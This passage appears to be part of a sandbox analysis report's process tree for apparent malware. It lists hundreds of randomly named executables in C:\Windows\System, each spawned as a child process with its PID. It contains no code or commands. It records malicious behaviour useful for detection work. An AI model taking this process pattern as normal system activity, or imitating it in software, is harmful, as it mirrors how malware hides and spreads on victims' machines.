  2⤵
  PID:3692
- C:\Windows\System\oYJVWEP.exe
  C:\Windows\System\oYJVWEP.exe
  2⤵
  PID:3708
- C:\Windows\System\TYepOPl.exe
  C:\Windows\System\TYepOPl.exe
  2⤵
  PID:3724
- C:\Windows\System\NdnJjbg.exe
  C:\Windows\System\NdnJjbg.exe
  2⤵
  PID:3740
- C:\Windows\System\hqwCKvH.exe
  C:\Windows\System\hqwCKvH.exe
  2⤵
  PID:3756
- C:\Windows\System\StFfViB.exe
  C:\Windows\System\StFfViB.exe
  2⤵
  PID:3772
- C:\Windows\System\cwRYGOR.exe
  C:\Windows\System\cwRYGOR.exe
  2⤵
  PID:3788
- C:\Windows\System\lcdypWv.exe
  C:\Windows\System\lcdypWv.exe
  2⤵
  PID:3804
- C:\Windows\System\hgbtvuf.exe
  C:\Windows\System\hgbtvuf.exe
  2⤵
  PID:3820
- C:\Windows\System\fWarlGA.exe
  C:\Windows\System\fWarlGA.exe
  2⤵
  PID:3836
- C:\Windows\System\SdxFjHW.exe
  C:\Windows\System\SdxFjHW.exe
  2⤵
  PID:3852
- C:\Windows\System\PwihZDk.exe
  C:\Windows\System\PwihZDk.exe
  2⤵
  PID:3868
- C:\Windows\System\jqcDKzE.exe
  C:\Windows\System\jqcDKzE.exe
  2⤵
  PID:3884
- C:\Windows\System\zUNkzFZ.exe
  C:\Windows\System\zUNkzFZ.exe
  2⤵
  PID:3900
- C:\Windows\System\qrTjlbH.exe
  C:\Windows\System\qrTjlbH.exe
  2⤵
  PID:3916
- C:\Windows\System\xxakVZT.exe
  C:\Windows\System\xxakVZT.exe
  2⤵
  PID:3932
- C:\Windows\System\NYMEwdM.exe
  C:\Windows\System\NYMEwdM.exe
  2⤵
  PID:3948
- C:\Windows\System\GJnmaGd.exe
  C:\Windows\System\GJnmaGd.exe
  2⤵
  PID:3964
- C:\Windows\System\kmnocnX.exe
  C:\Windows\System\kmnocnX.exe
  2⤵
  PID:3980
- C:\Windows\System\lhaGyGn.exe
  C:\Windows\System\lhaGyGn.exe
  2⤵
  PID:3996
- C:\Windows\System\uDVsKUE.exe
  C:\Windows\System\uDVsKUE.exe
  2⤵
  PID:4012
- C:\Windows\System\ItHGUXH.exe
  C:\Windows\System\ItHGUXH.exe
  2⤵
  PID:4028
- C:\Windows\System\WyGsdIh.exe
  C:\Windows\System\WyGsdIh.exe
  2⤵
  PID:4044
- C:\Windows\System\gDimlNx.exe
  C:\Windows\System\gDimlNx.exe
  2⤵
  PID:4060
- C:\Windows\System\MnonZfP.exe
  C:\Windows\System\MnonZfP.exe
  2⤵
  PID:4076
- C:\Windows\System\tXQubwO.exe
  C:\Windows\System\tXQubwO.exe
  2⤵
  PID:4092
- C:\Windows\System\PqFbJdy.exe
  C:\Windows\System\PqFbJdy.exe
  2⤵
  PID:2548
- C:\Windows\System\BuXBbKW.exe
  C:\Windows\System\BuXBbKW.exe
  2⤵
  PID:1636
- C:\Windows\System\OswByXa.exe
  C:\Windows\System\OswByXa.exe
  2⤵
  PID:2040
- C:\Windows\System\fMAbcVo.exe
  C:\Windows\System\fMAbcVo.exe
  2⤵
  PID:2816
- C:\Windows\System\YSmcHVt.exe
  C:\Windows\System\YSmcHVt.exe
  2⤵
  PID:688
- C:\Windows\System\uzuznko.exe
  C:\Windows\System\uzuznko.exe
  2⤵
  PID:3096
- C:\Windows\System\tQtOFwV.exe
  C:\Windows\System\tQtOFwV.exe
  2⤵
  PID:856
- C:\Windows\System\asLsmUB.exe
  C:\Windows\System\asLsmUB.exe
  2⤵
  PID:548
- C:\Windows\System\ikYuGHa.exe
  C:\Windows\System\ikYuGHa.exe
  2⤵
  PID:3168
- C:\Windows\System\acgijXx.exe
  C:\Windows\System\acgijXx.exe
  2⤵
  PID:1772
- C:\Windows\System\YqdRUXA.exe
  C:\Windows\System\YqdRUXA.exe
  2⤵
  PID:2944
- C:\Windows\System\kadITwT.exe
  C:\Windows\System\kadITwT.exe
  2⤵
  PID:3232
- C:\Windows\System\wZoggbd.exe
  C:\Windows\System\wZoggbd.exe
  2⤵
  PID:1072
- C:\Windows\System\XviEeih.exe
  C:\Windows\System\XviEeih.exe
  2⤵
  PID:3032
- C:\Windows\System\LOCkiNo.exe
  C:\Windows\System\LOCkiNo.exe
  2⤵
  PID:3152
- C:\Windows\System\eoQKrIJ.exe
  C:\Windows\System\eoQKrIJ.exe
  2⤵
  PID:3220
- C:\Windows\System\UFrKxal.exe
  C:\Windows\System\UFrKxal.exe
  2⤵
  PID:3112
- C:\Windows\System\UWdpOLN.exe
  C:\Windows\System\UWdpOLN.exe
  2⤵
  PID:2172
- C:\Windows\System\uqIPZth.exe
  C:\Windows\System\uqIPZth.exe
  2⤵
  PID:2608
- C:\Windows\System\gSAxnOR.exe
  C:\Windows\System\gSAxnOR.exe
  2⤵
  PID:3300
- C:\Windows\System\TEOdZoW.exe
  C:\Windows\System\TEOdZoW.exe
  2⤵
  PID:3336
- C:\Windows\System\cusAmGK.exe
  C:\Windows\System\cusAmGK.exe
  2⤵
  PID:3320
- C:\Windows\System\laPgncv.exe
  C:\Windows\System\laPgncv.exe
  2⤵
  PID:3400
- C:\Windows\System\bbyQwJL.exe
  C:\Windows\System\bbyQwJL.exe
  2⤵
  PID:3380
- C:\Windows\System\TkCzeOL.exe
  C:\Windows\System\TkCzeOL.exe
  2⤵
  PID:3464
- C:\Windows\System\LnCdSjo.exe
  C:\Windows\System\LnCdSjo.exe
  2⤵
  PID:3496
- C:\Windows\System\kHZcnFw.exe
  C:\Windows\System\kHZcnFw.exe
  2⤵
  PID:3508
- C:\Windows\System\mWakkHT.exe
  C:\Windows\System\mWakkHT.exe
  2⤵
  PID:3512
- C:\Windows\System\DLfpDNX.exe
  C:\Windows\System\DLfpDNX.exe
  2⤵
  PID:3592
- C:\Windows\System\mwJWYEZ.exe
  C:\Windows\System\mwJWYEZ.exe
  2⤵
  PID:3620
- C:\Windows\System\ZSLfNwg.exe
  C:\Windows\System\ZSLfNwg.exe
  2⤵
  PID:3656
- C:\Windows\System\IyJjYoU.exe
  C:\Windows\System\IyJjYoU.exe
  2⤵
  PID:3688
- C:\Windows\System\ukLdLus.exe
  C:\Windows\System\ukLdLus.exe
  2⤵
  PID:3716
- C:\Windows\System\wKMaIhP.exe
  C:\Windows\System\wKMaIhP.exe
  2⤵
  PID:3748
- C:\Windows\System\WHLMYGe.exe
  C:\Windows\System\WHLMYGe.exe
  2⤵
  PID:3780
- C:\Windows\System\Xgdiptv.exe
  C:\Windows\System\Xgdiptv.exe
  2⤵
  PID:3768
- C:\Windows\System\OkQVSMp.exe
  C:\Windows\System\OkQVSMp.exe
  2⤵
  PID:3796
- C:\Windows\System\TaYZPok.exe
  C:\Windows\System\TaYZPok.exe
  2⤵
  PID:3876
- C:\Windows\System\kjTigib.exe
  C:\Windows\System\kjTigib.exe
  2⤵
  PID:3908
- C:\Windows\System\tClJpxn.exe
  C:\Windows\System\tClJpxn.exe
  2⤵
  PID:3928
- C:\Windows\System\OIYZVNg.exe
  C:\Windows\System\OIYZVNg.exe
  2⤵
  PID:3976
- C:\Windows\System\DuifnVl.exe
  C:\Windows\System\DuifnVl.exe
  2⤵
  PID:3992
- C:\Windows\System\rQUCkDU.exe
  C:\Windows\System\rQUCkDU.exe
  2⤵
  PID:4024
- C:\Windows\System\endxcMl.exe
  C:\Windows\System\endxcMl.exe
  2⤵
  PID:4056
- C:\Windows\System\mwaVkQF.exe
  C:\Windows\System\mwaVkQF.exe
  2⤵
  PID:1752
- C:\Windows\System\dDPoPZA.exe
  C:\Windows\System\dDPoPZA.exe
  2⤵
  PID:1792
- C:\Windows\System\VTzUadv.exe
  C:\Windows\System\VTzUadv.exe
  2⤵
  PID:884
- C:\Windows\System\xWxlSOY.exe
  C:\Windows\System\xWxlSOY.exe
  2⤵
  PID:3132
- C:\Windows\System\fbMFNRz.exe
  C:\Windows\System\fbMFNRz.exe
  2⤵
  PID:3204
- C:\Windows\System\XZdLwmR.exe
  C:\Windows\System\XZdLwmR.exe
  2⤵
  PID:3252
- C:\Windows\System\kNQyiBy.exe
  C:\Windows\System\kNQyiBy.exe
  2⤵
  PID:3332
- C:\Windows\System\Cmyppgu.exe
  C:\Windows\System\Cmyppgu.exe
  2⤵
  PID:3216
- C:\Windows\System\aOQHzYH.exe
  C:\Windows\System\aOQHzYH.exe
  2⤵
  PID:2852
- C:\Windows\System\YizePnP.exe
  C:\Windows\System\YizePnP.exe
  2⤵
  PID:3316
- C:\Windows\System\DhNFzme.exe
  C:\Windows\System\DhNFzme.exe
  2⤵
  PID:1200
- C:\Windows\System\ggyKiiM.exe
  C:\Windows\System\ggyKiiM.exe
  2⤵
  PID:1672
- C:\Windows\System\NcPiQmw.exe
  C:\Windows\System\NcPiQmw.exe
  2⤵
  PID:1496
- C:\Windows\System\oPgywLs.exe
  C:\Windows\System\oPgywLs.exe
  2⤵
  PID:3700
- C:\Windows\System\KYcvnBs.exe
  C:\Windows\System\KYcvnBs.exe
  2⤵
  PID:3828
- C:\Windows\System\FCuklrG.exe
  C:\Windows\System\FCuklrG.exe
  2⤵
  PID:4088
- C:\Windows\System\trlmJRH.exe
  C:\Windows\System\trlmJRH.exe
  2⤵
  PID:4008
- C:\Windows\System\ysCNIsV.exe
  C:\Windows\System\ysCNIsV.exe
  2⤵
  PID:2848
- C:\Windows\System\pfqwdtW.exe
  C:\Windows\System\pfqwdtW.exe
  2⤵
  PID:3148
- C:\Windows\System\nDhoBmA.exe
  C:\Windows\System\nDhoBmA.exe
  2⤵
  PID:2864
- C:\Windows\System\DVBMnWL.exe
  C:\Windows\System\DVBMnWL.exe
  2⤵
  PID:3412
- C:\Windows\System\jEiBtlY.exe
  C:\Windows\System\jEiBtlY.exe
  2⤵
  PID:4116
- C:\Windows\System\azAFqIk.exe
  C:\Windows\System\azAFqIk.exe
  2⤵
  PID:4136
- C:\Windows\System\vQrWnAP.exe
  C:\Windows\System\vQrWnAP.exe
  2⤵
  PID:4160
- C:\Windows\System\cRNstcD.exe
  C:\Windows\System\cRNstcD.exe
  2⤵
  PID:4180
- C:\Windows\System\nqiAjDY.exe
  C:\Windows\System\nqiAjDY.exe
  2⤵
  PID:4200
- C:\Windows\System\KFxMHFb.exe
  C:\Windows\System\KFxMHFb.exe
  2⤵
  PID:4224
- C:\Windows\System\rCeLmtJ.exe
  C:\Windows\System\rCeLmtJ.exe
  2⤵
  PID:4244
- C:\Windows\System\NijMexg.exe
  C:\Windows\System\NijMexg.exe
  2⤵
  PID:4276
- C:\Windows\System\VESsXBm.exe
  C:\Windows\System\VESsXBm.exe
  2⤵
  PID:4320
- C:\Windows\System\TscVZIe.exe
  C:\Windows\System\TscVZIe.exe
  2⤵
  PID:4336
- C:\Windows\System\FAaTFHk.exe
  C:\Windows\System\FAaTFHk.exe
  2⤵
  PID:4352
- C:\Windows\System\eIvgbtU.exe
  C:\Windows\System\eIvgbtU.exe
  2⤵
  PID:4372
- C:\Windows\System\zQGVwMN.exe
  C:\Windows\System\zQGVwMN.exe
  2⤵
  PID:4388
- C:\Windows\System\AQFsfwY.exe
  C:\Windows\System\AQFsfwY.exe
  2⤵
  PID:4404
- C:\Windows\System\eNhhQiz.exe
  C:\Windows\System\eNhhQiz.exe
  2⤵
  PID:4420
- C:\Windows\System\GDSuiUK.exe
  C:\Windows\System\GDSuiUK.exe
  2⤵
  PID:4436
- C:\Windows\System\SIFKMsY.exe
  C:\Windows\System\SIFKMsY.exe
  2⤵
  PID:4452
- C:\Windows\System\TriBNne.exe
  C:\Windows\System\TriBNne.exe
  2⤵
  PID:4468
- C:\Windows\System\btDoBIV.exe
  C:\Windows\System\btDoBIV.exe
  2⤵
  PID:4484
- C:\Windows\System\icwaGIc.exe
  C:\Windows\System\icwaGIc.exe
  2⤵
  PID:4500
- C:\Windows\System\gXtmSlP.exe
  C:\Windows\System\gXtmSlP.exe
  2⤵
  PID:4516
- C:\Windows\System\aYxyGoX.exe
  C:\Windows\System\aYxyGoX.exe
  2⤵
  PID:4532
- C:\Windows\System\tZjEpQe.exe
  C:\Windows\System\tZjEpQe.exe
  2⤵
  PID:4548
- C:\Windows\System\mskfuwj.exe
  C:\Windows\System\mskfuwj.exe
  2⤵
  PID:4564
- C:\Windows\System\ngmAcjA.exe
  C:\Windows\System\ngmAcjA.exe
  2⤵
  PID:4580
- C:\Windows\System\FMbjaUx.exe
  C:\Windows\System\FMbjaUx.exe
  2⤵
  PID:4596
- C:\Windows\System\ITpeIDD.exe
  C:\Windows\System\ITpeIDD.exe
  2⤵
  PID:4704
- C:\Windows\System\XztPYGB.exe
  C:\Windows\System\XztPYGB.exe
  2⤵
  PID:4876
- C:\Windows\System\bLzofOA.exe
  C:\Windows\System\bLzofOA.exe
  2⤵
  PID:4896
- C:\Windows\System\jtdSTSf.exe
  C:\Windows\System\jtdSTSf.exe
  2⤵
  PID:4912
- C:\Windows\System\pafiSMw.exe
  C:\Windows\System\pafiSMw.exe
  2⤵
  PID:4932
- C:\Windows\System\TXizXhn.exe
  C:\Windows\System\TXizXhn.exe
  2⤵
  PID:4948
- C:\Windows\System\QdIolmi.exe
  C:\Windows\System\QdIolmi.exe
  2⤵
  PID:4964
- C:\Windows\System\ioBOcSr.exe
  C:\Windows\System\ioBOcSr.exe
  2⤵
  PID:4980
- C:\Windows\System\ryKjJYp.exe
  C:\Windows\System\ryKjJYp.exe
  2⤵
  PID:4996
- C:\Windows\System\pPTycGB.exe
  C:\Windows\System\pPTycGB.exe
  2⤵
  PID:5012
- C:\Windows\System\dagHupB.exe
  C:\Windows\System\dagHupB.exe
  2⤵
  PID:5028
- C:\Windows\System\PisyNlb.exe
  C:\Windows\System\PisyNlb.exe
  2⤵
  PID:5044
- C:\Windows\System\KqrMydz.exe
  C:\Windows\System\KqrMydz.exe
  2⤵
  PID:5064
- C:\Windows\System\RQVORmU.exe
  C:\Windows\System\RQVORmU.exe
  2⤵
  PID:5080
- C:\Windows\System\uiXVNnS.exe
  C:\Windows\System\uiXVNnS.exe
  2⤵
  PID:5096
- C:\Windows\System\zSbDjZL.exe
  C:\Windows\System\zSbDjZL.exe
  2⤵
  PID:5112
- C:\Windows\System\sdiZQEP.exe
  C:\Windows\System\sdiZQEP.exe
  2⤵
  PID:800
- C:\Windows\System\huEOcnw.exe
  C:\Windows\System\huEOcnw.exe
  2⤵
  PID:3012
- C:\Windows\System\BKBPWaX.exe
  C:\Windows\System\BKBPWaX.exe
  2⤵
  PID:2612
- C:\Windows\System\CcBroZn.exe
  C:\Windows\System\CcBroZn.exe
  2⤵
  PID:1608
- C:\Windows\System\nkXyHtQ.exe
  C:\Windows\System\nkXyHtQ.exe
  2⤵
  PID:3704
- C:\Windows\System\yqOWnBg.exe
  C:\Windows\System\yqOWnBg.exe
  2⤵
  PID:3848
- C:\Windows\System\PoqdahL.exe
  C:\Windows\System\PoqdahL.exe
  2⤵
  PID:3940
- C:\Windows\System\MIHiHel.exe
  C:\Windows\System\MIHiHel.exe
  2⤵
  PID:3720
- C:\Windows\System\ZQLuLqM.exe
  C:\Windows\System\ZQLuLqM.exe
  2⤵
  PID:2296
- C:\Windows\System\bPzWDOz.exe
  C:\Windows\System\bPzWDOz.exe
  2⤵
  PID:2008
- C:\Windows\System\FaUkyXx.exe
  C:\Windows\System\FaUkyXx.exe
  2⤵
  PID:4168
- C:\Windows\System\WfDVCYr.exe
  C:\Windows\System\WfDVCYr.exe
  2⤵
  PID:4216
- C:\Windows\System\SlOqlpD.exe
  C:\Windows\System\SlOqlpD.exe
  2⤵
  PID:4260
- C:\Windows\System\oWxtFWb.exe
  C:\Windows\System\oWxtFWb.exe
  2⤵
  PID:4332
- C:\Windows\System\BmkgoMA.exe
  C:\Windows\System\BmkgoMA.exe
  2⤵
  PID:4492
- C:\Windows\System\kRTHsJm.exe
  C:\Windows\System\kRTHsJm.exe
  2⤵
  PID:4232
- C:\Windows\System\ZjeycVz.exe
  C:\Windows\System\ZjeycVz.exe
  2⤵
  PID:3736
- C:\Windows\System\lCSDnWt.exe
  C:\Windows\System\lCSDnWt.exe
  2⤵
  PID:4560
- C:\Windows\System\mVqKAue.exe
  C:\Windows\System\mVqKAue.exe
  2⤵
  PID:4240
- C:\Windows\System\HFuHkLp.exe
  C:\Windows\System\HFuHkLp.exe
  2⤵
  PID:4296
- C:\Windows\System\VgMwSvh.exe
  C:\Windows\System\VgMwSvh.exe
  2⤵
  PID:4312
- C:\Windows\System\axICiOr.exe
  C:\Windows\System\axICiOr.exe
  2⤵
  PID:4380
- C:\Windows\System\hpuxtht.exe
  C:\Windows\System\hpuxtht.exe
  2⤵
  PID:4444
- C:\Windows\System\pCXlKET.exe
  C:\Windows\System\pCXlKET.exe
  2⤵
  PID:4512
- C:\Windows\System\iQmpOeU.exe
  C:\Windows\System\iQmpOeU.exe
  2⤵
  PID:4576
- C:\Windows\System\FZNbGAE.exe
  C:\Windows\System\FZNbGAE.exe
  2⤵
  PID:4620
- C:\Windows\System\KmCqclx.exe
  C:\Windows\System\KmCqclx.exe
  2⤵
  PID:4720
- C:\Windows\System\jZHqLeg.exe
  C:\Windows\System\jZHqLeg.exe
  2⤵
  PID:4636
- C:\Windows\System\sVTeJSJ.exe
  C:\Windows\System\sVTeJSJ.exe
  2⤵
  PID:4656
- C:\Windows\System\LoFfGUv.exe
  C:\Windows\System\LoFfGUv.exe
  2⤵
  PID:4672
- C:\Windows\System\oniVfbf.exe
  C:\Windows\System\oniVfbf.exe
  2⤵
  PID:4736
- C:\Windows\System\lOUWaTW.exe
  C:\Windows\System\lOUWaTW.exe
  2⤵
  PID:4752
- C:\Windows\System\ZCGrzAO.exe
  C:\Windows\System\ZCGrzAO.exe
  2⤵
  PID:4692
- C:\Windows\System\aOYwNkf.exe
  C:\Windows\System\aOYwNkf.exe
  2⤵
  PID:4772
- C:\Windows\System\KRRaDUj.exe
  C:\Windows\System\KRRaDUj.exe
  2⤵
  PID:4792
- C:\Windows\System\hgyaFzE.exe
  C:\Windows\System\hgyaFzE.exe
  2⤵
  PID:4812
- C:\Windows\System\iDHbDws.exe
  C:\Windows\System\iDHbDws.exe
  2⤵
  PID:4828
- C:\Windows\System\uOUMGRp.exe
  C:\Windows\System\uOUMGRp.exe
  2⤵
  PID:4844
- C:\Windows\System\xsKthFj.exe
  C:\Windows\System\xsKthFj.exe
  2⤵
  PID:4864
- C:\Windows\System\TNUPrjQ.exe
  C:\Windows\System\TNUPrjQ.exe
  2⤵
  PID:2228
- C:\Windows\System\cROYgxj.exe
  C:\Windows\System\cROYgxj.exe
  2⤵
  PID:2192
- C:\Windows\System\hykLuYR.exe
  C:\Windows\System\hykLuYR.exe
  2⤵
  PID:4928
- C:\Windows\System\jsRdraW.exe
  C:\Windows\System\jsRdraW.exe
  2⤵
  PID:5036
- C:\Windows\System\jXAQnTq.exe
  C:\Windows\System\jXAQnTq.exe
  2⤵
  PID:2052
- C:\Windows\System\ckuANER.exe
  C:\Windows\System\ckuANER.exe
  2⤵
  PID:5024
- C:\Windows\System\pVQEjkN.exe
  C:\Windows\System\pVQEjkN.exe
  2⤵
  PID:3880
- C:\Windows\System\MPtaeQf.exe
  C:\Windows\System\MPtaeQf.exe
  2⤵
  PID:3972
- C:\Windows\System\NZScdtQ.exe
  C:\Windows\System\NZScdtQ.exe
  2⤵
  PID:4040
- C:\Windows\System\uUYtEed.exe
  C:\Windows\System\uUYtEed.exe
  2⤵
  PID:3052
- C:\Windows\System\MtpATov.exe
  C:\Windows\System\MtpATov.exe
  2⤵
  PID:4112
- C:\Windows\System\GKgoPTc.exe
  C:\Windows\System\GKgoPTc.exe
  2⤵
  PID:4188
- C:\Windows\System\hqTNEEK.exe
  C:\Windows\System\hqTNEEK.exe
  2⤵
  PID:2844
- C:\Windows\System\pgSwGEn.exe
  C:\Windows\System\pgSwGEn.exe
  2⤵
  PID:4084
- C:\Windows\System\vnFxQpr.exe
  C:\Windows\System\vnFxQpr.exe
  2⤵
  PID:2860
- C:\Windows\System\tfxJNgx.exe
  C:\Windows\System\tfxJNgx.exe
  2⤵
  PID:3764
- C:\Windows\System\gxfZocR.exe
  C:\Windows\System\gxfZocR.exe
  2⤵
  PID:3188
- C:\Windows\System\BrXFkIR.exe
  C:\Windows\System\BrXFkIR.exe
  2⤵
  PID:4212
- C:\Windows\System\wtUeckc.exe
  C:\Windows\System\wtUeckc.exe
  2⤵
  PID:4268
- C:\Windows\System\RGXFJQH.exe
  C:\Windows\System\RGXFJQH.exe
  2⤵
  PID:3912
- C:\Windows\System\jvnxRNW.exe
  C:\Windows\System\jvnxRNW.exe
  2⤵
  PID:4364
- C:\Windows\System\AlSqCai.exe
  C:\Windows\System\AlSqCai.exe
  2⤵
  PID:488
- C:\Windows\System\uQdjdcS.exe
  C:\Windows\System\uQdjdcS.exe
  2⤵
  PID:4036
- C:\Windows\System\GbmdKJa.exe
  C:\Windows\System\GbmdKJa.exe
  2⤵
  PID:4292
- C:\Windows\System\PcWZjGH.exe
  C:\Windows\System\PcWZjGH.exe
  2⤵
  PID:4308
- C:\Windows\System\sUiNpbO.exe
  C:\Windows\System\sUiNpbO.exe
  2⤵
  PID:4544
- C:\Windows\System\tjkVkJW.exe
  C:\Windows\System\tjkVkJW.exe
  2⤵
  PID:4648
- C:\Windows\System\TRLOBaw.exe
  C:\Windows\System\TRLOBaw.exe
  2⤵
  PID:4728
- C:\Windows\System\gYApIUT.exe
  C:\Windows\System\gYApIUT.exe
  2⤵
  PID:4688
- C:\Windows\System\yshNlBz.exe
  C:\Windows\System\yshNlBz.exe
  2⤵
  PID:4480
- C:\Windows\System\HUcAHXk.exe
  C:\Windows\System\HUcAHXk.exe
  2⤵
  PID:4824
- C:\Windows\System\QNhFaYP.exe
  C:\Windows\System\QNhFaYP.exe
  2⤵
  PID:4944
- C:\Windows\System\jEXswZi.exe
  C:\Windows\System\jEXswZi.exe
  2⤵
  PID:5104
- C:\Windows\System\BuIJKlE.exe
  C:\Windows\System\BuIJKlE.exe
  2⤵
  PID:836
- C:\Windows\System\wKnEjYa.exe
  C:\Windows\System\wKnEjYa.exe
  2⤵
  PID:3368
- C:\Windows\System\xTUciFN.exe
  C:\Windows\System\xTUciFN.exe
  2⤵
  PID:4616
- C:\Windows\System\uvPECJg.exe
  C:\Windows\System\uvPECJg.exe
  2⤵
  PID:4664
- C:\Windows\System\OsERiNp.exe
  C:\Windows\System\OsERiNp.exe
  2⤵
  PID:4700
- C:\Windows\System\xwcFiVb.exe
  C:\Windows\System\xwcFiVb.exe
  2⤵
  PID:4836
- C:\Windows\System\pcFhuJb.exe
  C:\Windows\System\pcFhuJb.exe
  2⤵
  PID:5004
- C:\Windows\System\hKtNeHm.exe
  C:\Windows\System\hKtNeHm.exe
  2⤵
  PID:4960
- C:\Windows\System\DMkKylC.exe
  C:\Windows\System\DMkKylC.exe
  2⤵
  PID:5052
- C:\Windows\System\mPpwsHf.exe
  C:\Windows\System\mPpwsHf.exe
  2⤵
  PID:2748
- C:\Windows\System\wWtIoaR.exe
  C:\Windows\System\wWtIoaR.exe
  2⤵
  PID:1932
- C:\Windows\System\lBweGlr.exe
  C:\Windows\System\lBweGlr.exe
  2⤵
  PID:3844
- C:\Windows\System\ATsAFda.exe
  C:\Windows\System\ATsAFda.exe
  2⤵
  PID:2456
- C:\Windows\System\HQCpZvU.exe
  C:\Windows\System\HQCpZvU.exe
  2⤵
  PID:2136
- C:\Windows\System\UMsrMsi.exe
  C:\Windows\System\UMsrMsi.exe
  2⤵
  PID:4192
- C:\Windows\System\ilTbadx.exe
  C:\Windows\System\ilTbadx.exe
  2⤵
  PID:1616
- C:\Windows\System\LEhKrWD.exe
  C:\Windows\System\LEhKrWD.exe
  2⤵
  PID:2824
- C:\Windows\System\bHrVWlN.exe
  C:\Windows\System\bHrVWlN.exe
  2⤵
  PID:4128
- C:\Windows\System\PuBBttI.exe
  C:\Windows\System\PuBBttI.exe
  2⤵
  PID:2232
- C:\Windows\System\ZjDDnoc.exe
  C:\Windows\System\ZjDDnoc.exe
  2⤵
  PID:4416
- C:\Windows\System\HCNASLg.exe
  C:\Windows\System\HCNASLg.exe
  2⤵
  PID:4784
- C:\Windows\System\bHoDyWo.exe
  C:\Windows\System\bHoDyWo.exe
  2⤵
  PID:4856
- C:\Windows\System\MjnZFFw.exe
  C:\Windows\System\MjnZFFw.exe
  2⤵
  PID:3608
- C:\Windows\System\RcbRMFL.exe
  C:\Windows\System\RcbRMFL.exe
  2⤵
  PID:4608
- C:\Windows\System\TteIiES.exe
  C:\Windows\System\TteIiES.exe
  2⤵
  PID:4908
- C:\Windows\System\ixbfhih.exe
  C:\Windows\System\ixbfhih.exe
  2⤵
  PID:592
- C:\Windows\System\jSxUaTG.exe
  C:\Windows\System\jSxUaTG.exe
  2⤵
  PID:984
- C:\Windows\System\CHYnnTo.exe
  C:\Windows\System\CHYnnTo.exe
  2⤵
  PID:4460
- C:\Windows\System\PcGRNyx.exe
  C:\Windows\System\PcGRNyx.exe
  2⤵
  PID:4256
- C:\Windows\System\hRhfosx.exe
  C:\Windows\System\hRhfosx.exe
  2⤵
  PID:2076
- C:\Windows\System\NbiTZPq.exe
  C:\Windows\System\NbiTZPq.exe
  2⤵
  PID:2768
- C:\Windows\System\RyJnIZs.exe
  C:\Windows\System\RyJnIZs.exe
  2⤵
  PID:1780
- C:\Windows\System\wVEhfzh.exe
  C:\Windows\System\wVEhfzh.exe
  2⤵
  PID:5124
- C:\Windows\System\NuhHFkG.exe
  C:\Windows\System\NuhHFkG.exe
  2⤵
  PID:5148
- C:\Windows\System\QsJdVJy.exe
  C:\Windows\System\QsJdVJy.exe
  2⤵
  PID:5164
- C:\Windows\System\JIdYHvY.exe
  C:\Windows\System\JIdYHvY.exe
  2⤵
  PID:5184
- C:\Windows\System\XSTiksz.exe
  C:\Windows\System\XSTiksz.exe
  2⤵
  PID:5200
- C:\Windows\System\aBtbNqI.exe
  C:\Windows\System\aBtbNqI.exe
  2⤵
  PID:5220
- C:\Windows\System\dDkeNNH.exe
  C:\Windows\System\dDkeNNH.exe
  2⤵
  PID:5236
- C:\Windows\System\bCgaZIx.exe
  C:\Windows\System\bCgaZIx.exe
  2⤵
  PID:5260
- C:\Windows\System\pmXaOPR.exe
  C:\Windows\System\pmXaOPR.exe
  2⤵
  PID:5280
- C:\Windows\System\dtCMpVc.exe
  C:\Windows\System\dtCMpVc.exe
  2⤵
  PID:5296
- C:\Windows\System\IVRAwWC.exe
  C:\Windows\System\IVRAwWC.exe
  2⤵
  PID:5316
- C:\Windows\System\Qdogfup.exe
  C:\Windows\System\Qdogfup.exe
  2⤵
  PID:5336
- C:\Windows\System\vNzSlAS.exe
  C:\Windows\System\vNzSlAS.exe
  2⤵
  PID:5356
- C:\Windows\System\meYZCwB.exe
  C:\Windows\System\meYZCwB.exe
  2⤵
  PID:5376
- C:\Windows\System\nTIJHRX.exe
  C:\Windows\System\nTIJHRX.exe
  2⤵
  PID:5392
- C:\Windows\System\gPgNtFh.exe
  C:\Windows\System\gPgNtFh.exe
  2⤵
  PID:5416
- C:\Windows\System\aJEMhAK.exe
  C:\Windows\System\aJEMhAK.exe
  2⤵
  PID:5436
- C:\Windows\System\MVPePSX.exe
  C:\Windows\System\MVPePSX.exe
  2⤵
  PID:5456
- C:\Windows\System\IGSRJNz.exe
  C:\Windows\System\IGSRJNz.exe
  2⤵
  PID:5480
- C:\Windows\System\vSznQEM.exe
  C:\Windows\System\vSznQEM.exe
  2⤵
  PID:5496
- C:\Windows\System\HlsPUkK.exe
  C:\Windows\System\HlsPUkK.exe
  2⤵
  PID:5516
- C:\Windows\System\KVVSmtq.exe
  C:\Windows\System\KVVSmtq.exe
  2⤵
  PID:5536
- C:\Windows\System\nOiNdTH.exe
  C:\Windows\System\nOiNdTH.exe
  2⤵
  PID:5552
- C:\Windows\System\MapUTQa.exe
  C:\Windows\System\MapUTQa.exe
  2⤵
  PID:5568
- C:\Windows\System\QCxPSXj.exe
  C:\Windows\System\QCxPSXj.exe
  2⤵
  PID:5584
- C:\Windows\System\hRWMVjg.exe
  C:\Windows\System\hRWMVjg.exe
  2⤵
  PID:5600
- C:\Windows\System\zUgHoPu.exe
  C:\Windows\System\zUgHoPu.exe
  2⤵
  PID:5616
- C:\Windows\System\KRFKmXy.exe
  C:\Windows\System\KRFKmXy.exe
  2⤵
  PID:5636
- C:\Windows\System\mSyIXZS.exe
  C:\Windows\System\mSyIXZS.exe
  2⤵
  PID:5656
- C:\Windows\System\YrZbirR.exe
  C:\Windows\System\YrZbirR.exe
  2⤵
  PID:5764
- C:\Windows\System\OthRJYI.exe
  C:\Windows\System\OthRJYI.exe
  2⤵
  PID:5780
- C:\Windows\System\MziKDCp.exe
  C:\Windows\System\MziKDCp.exe
  2⤵
  PID:5800
- C:\Windows\System\lMAUKbS.exe
  C:\Windows\System\lMAUKbS.exe
  2⤵
  PID:5824
- C:\Windows\System\avlKgLh.exe
  C:\Windows\System\avlKgLh.exe
  2⤵
  PID:5840
- C:\Windows\System\oMQBKOe.exe
  C:\Windows\System\oMQBKOe.exe
  2⤵
  PID:5860
- C:\Windows\System\eyxmpnc.exe
  C:\Windows\System\eyxmpnc.exe
  2⤵
  PID:5880
- C:\Windows\System\JNPrfOn.exe
  C:\Windows\System\JNPrfOn.exe
  2⤵
  PID:5896
- C:\Windows\System\WnGGArm.exe
  C:\Windows\System\WnGGArm.exe
  2⤵
  PID:5924
- C:\Windows\System\zIvOrGq.exe
  C:\Windows\System\zIvOrGq.exe
  2⤵
  PID:5940
- C:\Windows\System\MrGPEDw.exe
  C:\Windows\System\MrGPEDw.exe
  2⤵
  PID:5960
- C:\Windows\System\oNnHCPm.exe
